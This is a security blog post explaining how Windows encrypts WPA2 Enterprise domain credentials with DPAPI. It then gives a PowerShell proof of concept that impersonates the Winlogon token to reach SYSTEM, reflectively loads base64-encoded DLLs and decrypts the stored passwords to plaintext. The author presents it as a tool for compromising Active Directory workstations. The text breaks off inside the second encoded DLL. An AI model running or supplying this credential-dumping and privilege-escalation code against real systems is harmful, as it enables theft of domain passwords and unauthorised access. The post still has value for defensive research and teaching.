Introduction

Hello reader. In this post I will explain what I have learned from studying how windows stores credentials for WPA2 Enterprise.

This research conducted me to develop a tool capable of retrieving it, in plaintext! This could be useful when compromising AD workstations that use this kind of authentication in a Wireless Access Point.

Differences between WPA2 PSK and WPA2 Enterprise at Credential storage

To retrieve WPA2 PSK passwords there is no need for administrator rights or even elevated process, but for WPA2 Enterprise, it is needed. Because it is encrypted with SYSTEM DPAPI keys and only this user can decrypt it. So for that we need to own local administrator privileges.

When you first log-in to a WPA2 Enterprise network, DPAPI (Data Protection API) encrypts with the CURRENT USER encryption-key the domain password used to be connect to the AP. The result of this encryption is used to encrypt again, but now with SYSTEM encryption-key, alongside with Domain name and Username used to log-in to the AP.

The function used to decrypt the data, using the current-user DPAPI key is this one.

The procedure is like this:

AP tells computer that log-in was successful with credentials inserted by the user. User encrypts password with DPAPI keys. SYSTEM encrypts domain and username with DPAPI keys alongside with output from step 2. SYSTEM stores data to HKCU registry hive.

How to retrieve this information

Do the reverse operation.

Get data from HKCU registry hive Turn to SYSTEM and decrypt the first layer, this will decrypt Domain name and Username information. Revert back to user using RevertToSelf() Decrypt output from step 2 to get password plaintext data.

Proof-Of-Concept code

Enough of theory. I needed to dump my own credentials.

All code samples I found in the internet used PsExec to get a system shell. I dislike this method, and prefered to create a smooth experience by not relying on any external tool like tools from SysInternals. So I chose to use Token Impersonation from my “How to get system - Part 2” as it was working and only relies on PowerShell. This resulted in the following PowerShell script:

function Get-String { Param ( [ Parameter ( Mandatory = $true , Position = 0 )] [ byte []] $InputStream ) [ byte []] $Output = @(); foreach ( $byte in $InputStream ) { if ( $byte -eq 0 ) { return $Output } else { $Output += $byte } } } function Get-System { if ([ System.Threading. Thread ]:: CurrentThread.GetApartmentState () -ne 'STA' ) { Write-Output "This powershell shell is not in STA mode!" ; return ; } if ( -not ([ System.Management.Automation. PSTypeName ] "zc00l.ImpersonationToken" ) . Type ) { [ Reflection. Assembly ]:: Load ([ Convert ]:: FromBase64String ( "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nACfAAkAoACkAAkApACpAAkAqACuAAkArACzAAkAsAC4AC4ACwApAS4AEwAyAS4AGwBRAS4AIwBaAS4AKwB1AS4AMwB1AS4AOwB1AS4AQwBaAS4ASwB7AS4AUwB1AS4AWwB1AS4AYwCTAS4AawC9AS4AcwDKAeMAewByABMAwAAlAMAAKQDAADQAvQA8AL0AGgAiADwAXgAcBSkFAAEDALkEAQBAAQUAYAcCAEABCQC0BQEAAAELAHMFAQBAAQ0AZAUBAEABDwDUBgEAQAERAGwHAgBAARMA+wQBAASAAAABAAAAAAAAAAAAAAAAANsAAAAEAAAAAAAAAAAAAABpACkCAAAAAAQAAAAAAAAAAAAAAGkAWAUAAAAAAwACAAQAAgAFAAIABgACAAcAAgAnAFkAAAAAPE1vZHVsZT4AVE9LRU5fUkVBRABTVEFOREFSRF9SSUdIVFNfUkVBRABTRV9QUklWSUxFR0VfRU5BQkxFRABTVEFOREFSRF9SSUdIVFNfUkVRVUlSRUQAU0VfUFJJVklMRUdFX1JFTU9WRUQAVE9LRU5fQURKVVNUX1NFU1NJT05JRABMVUlEAFRPS0VOX1FVRVJZX1NPVVJDRQBUT0tFTl9EVVBMSUNBVEUAVE9LRU5fSU1QRVJTT05BVEUAU0VDVVJJVFlfSU1QRVJTT05BVElPTl9MRVZFTABJbXBlcnNvbmF0aW9uVG9rZW5ETEwAUFJPQ0VTU19RVUVSWV9JTkZPUk1BVElPTgBUT0tFTl9QUklWSUxFR0VTAFRPS0VOX0FESlVTVF9QUklWSUxFR0VTAExVSURfQU5EX0FUVFJJQlVURVMAVE9LRU5fQURKVVNUX0dST1VQUwBUT0tFTl9BTExfQUNDRVNTAFNFX1BSSVZJTEVHRV9VU0VEX0ZPUl9BQ0NFU1MAUFJJVklMRUdFX1NFVABUT0tFTl9BREpVU1RfREVGQVVMVABTRV9QUklWSUxFR0VfRU5BQkxFRF9CWV9ERUZBVUxUAEFOWVNJWkVfQVJSQVkAVE9LRU5fQVNTSUdOX1BSSU1BUlkAUFJJVklMRUdFX1NFVF9BTExfTkVDRVNTQVJZAFRPS0VOX1FVRVJZAHZhbHVlX18AU2V0UXVvdGEAbXNjb3JsaWIAcHJvYwBnZXRfSWQAcHJvY2Vzc0lkAFZpcnR1YWxNZW1vcnlSZWFkAENyZWF0ZVRocmVhZABJc1ByaXZpbGVnZUVuYWJsZWQAcGlkAGxwTHVpZABFbmFibGVQcml2aWxlZ2UARHVwbGljYXRlSGFuZGxlAER1cGxpY2F0ZVRva2VuSGFuZGxlAEV4aXN0aW5nVG9rZW5IYW5kbGUAcEhhbmRsZQBQcm9jZXNzSGFuZGxlAGJJbmhlcml0SGFuZGxlAGxwU3lzdGVtTmFtZQBscE5hbWUAVmFsdWVUeXBlAFRlcm1pbmF0ZQBQcmV2aW91c1N0YXRlAE5ld1N0YXRlAFZpcnR1YWxNZW1vcnlXcml0ZQBHdWlkQXR0cmlidXRlAERlYnVnZ2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAFRhcmdldEZyYW1ld29ya0F0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXR0cmlidXRlAEFzc2VtYmx5Q29uZmlndXJhdGlvbkF0dHJpYnV0ZQBBc3NlbWJseURlc2NyaXB0aW9uQXR0cmlidXRlAEZsYWdzQXR0cmlidXRlAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAQXNzZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29weXJpZ2h0QXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBMb29rdXBQcml2aWxlZ2VWYWx1ZQBTeW5jaHJvbml6ZQBTaXplT2YAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBQcml2aWxlZ2VDaGVjawB6YzAwbABNYXJzaGFsAEFsbABhZHZhcGkzMi5kbGwAa2VybmVsMzIuZGxsAEltcGVyc29uYXRpb25Ub2tlbkRMTC5kbGwAQ29udHJvbABTeXN0ZW0ARW51bQBTZXRUaHJlYWRUb2tlbgBEdXBsaWNhdGVUb2tlbgBoVG9rZW4ASW1wZXJzb25hdGlvblRva2VuAEltcGVyc29uYXRlUHJvY2Vzc1Rva2VuAE9wZW5Qcm9jZXNzVG9rZW4AQ2xpZW50VG9rZW4AUXVlcnlMaW1pdGVkSW5mb3JtYXRpb24AU2V0SW5mb3JtYXRpb24AUXVlcnlJbmZvcm1hdGlvbgBWaXJ0dWFsTWVtb3J5T3BlcmF0aW9uAFN5c3RlbS5SZWZsZWN0aW9uAFplcm8ALmN0b3IALmNjdG9yAEludFB0cgBTeXN0ZW0uRGlhZ25vc3RpY3MAU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMARGVidWdnaW5nTW9kZXMAUmVxdWlyZWRQcml2aWxlZ2VzAERpc2FibGVBbGxQcml2aWxlZ2VzAEFkanVzdFRva2VuUHJpdmlsZWdlcwBBdHRyaWJ1dGVzAFJldHVybkxlbmd0aEluQnl0ZXMAQnVmZmVyTGVuZ3RoSW5CeXRlcwBQcm9jZXNzQWNjZXNzRmxhZ3MAZmxhZ3MARGVzaXJlZEFjY2VzcwBwcm9jZXNzQWNjZXNzAENyZWF0ZVByb2Nlc3MAT3BlblByb2Nlc3MAR2V0Q3VycmVudFByb2Nlc3MAT2JqZWN0AHBmUmVzdWx0AFByaXZpbGVnZUNvdW50AEhpZ2hQYXJ0AExvd1BhcnQAb3BfRXF1YWxpdHkAAAAAAAAANMB5wx4YykSS6Z0DEn72xgAEIAEBCAMgAAEFIAEBEREEIAEBDgQgAQECAwcBGAMgAAgQBwsCERAYGBEYAgICAhEYAgIGGAUAAgIYGBUHDREQGBgRDBEUERQJAgICEQwRFAIGEAEBCB4ABAoBERQKBwgYGBgCAgICAgi3elxWGTTgiQQBAAAABAIAAAAEBAAAAAQAAACABP8PHwAECAAAAAQQAAAABCAAAAAEQAAAAASAAAAABAABAAAEAAIAAAQABAAABAAQAAAEAAAQAAIeAQECAgYIAgYJAwYREAQGHREMAwYRHAgAAwIODhAREAcAAxgRHAIIBwACGBJFERwHAAMCGAkQGAcAAwIYCBAYDgAGAhgCEBEUCRARFBAJAwAAGAkAAwIYEBEYEAIEAAECDgQAAQIIAwAAAQgBAAgAAAAAAB4BAAEAVAIWV3JhcE5vbkV4Y2VwdGlvblRocm93cwEIAQAHAQAAAAAaAQAVSW1wZXJzb25hdGlvblRva2VuRExMAAAFAQAAAAAXAQASQ29weXJpZ2h0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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" )) | Out-Null Write-Verbose "DLL has been reflected." } if ( -not [ zc00l. ImpersonationToken ]:: ImpersonateProcessToken (( Get-Process Winlogon ) . Id )) { Write-Output "Could not Impersonate Token! Maybe you are not Local Admin?" ; return ; } } function Check-System { if ([ Environment ]:: Username -eq "SYSTEM" ) { return $true } return $false } function Get-WlanEnterprisePassword { if ([ Environment ]:: Username -ne "SYSTEM" ) { # Only SYSTEM user can dump the first stage decryption. Get-System if ( -not ( Check-System )) { Write-Output "Only SYSTEM can dump DPAPI secrets!" return } } # This DLL contains Windows API RevertToSelf() function if ( -not ([ System.Management.Automation. PSTypeName ] 'Revert' ) . Type ) { [ Reflection. Assembly ]:: Load ([ Convert ]:: FromBase64String ( "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